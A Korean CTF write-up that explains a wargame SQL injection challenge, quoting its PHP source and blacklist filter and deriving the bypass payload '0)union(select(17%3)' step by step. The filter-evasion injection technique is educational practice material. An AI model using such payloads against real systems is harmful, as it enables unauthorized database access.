소스코드를 준다 코드를 봐보자
1 // preg_match 안에 들어있는 단어들이 존재하면 exit("Access Denied!")을 한다 한마디로 필터링
2 if(preg_match("/2|-|\+|from|_|=|\\s|\*|\//i",$go)) exit("Access Denied!");
3
4 // 우리가 입력한 값이 $go에 들어간다 공격 포인트!
5 if($rand==1){
6 $result=mysqli_query($db,"select lv from chall7 where lv=($go)") or die("nice try!");
7 }
8
9 // data[0] 가 2이면 문제가 풀린다
10 elseif($data[0]==2){
12 echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=\"alert('Hello admin')\"><p>");
13 solve(7);
14 }
편하게 읽으면서 잘 설명할순 없을까라는 생각이 들어 이렇게 중요한 부분만 설명하기로 했다
나머지 코드는 비교하면서 보면 좋을거 같다. 앞으로도 이렇게 설명할 듯!
우선 data에 값이 2이기 위해서 새로운 쿼리를 써야한다
바로 select 2 !!
하지만 select 를 써야하기 위해서는 union을 써야하고 2 는 필터링을 당하기 때문에 다른 방법을 찾아햔다
방법은 /를 쓰면 편하겠지만 이것도 필터링이다
그래서 %를 쓰기로 했다
% 는 나머지를 반환하기 때문이다
지금까지 생각한 방법을 정리해보면 union select 17%3 가 나온다
한번 가짜로 쿼리를 넣어보자
select lv from chall7 where lv=(union select 17%3)
뭔가 이상하지 않은가?
그렇다 우리는 괄호를 잊어버리고 있었다
union 을 쓰기 위해서 는 앞에 쿼리를 마무리를 시키고 뒤에도 괄호가 있어 맞춰줘야한다
select lv from chall7 where lv=(0)union select (17%3)
이렇게 마무리 시켜줬다
다시 정리하면 이렇게 나온다 0)union select (17%3
이대로 쓰면 url에서 공백을 %20으로 바꾸기 때문에 2가 들어가 막아버린다
공백도 괄호를 써주도록하자
최종 : 0)union(select(17%3)
select lv from chall7 where lv=(0)union(select(17%3))
이제야 깔끔해진 것 같다
앞에 0을 쓴 이유는 1을 쓰게 되면 참이되어 data에 1이 들어간다 그래서 0으로 거짓으로 만들어줬다
최종을 넣고 새로고침을 연타하면 풀린다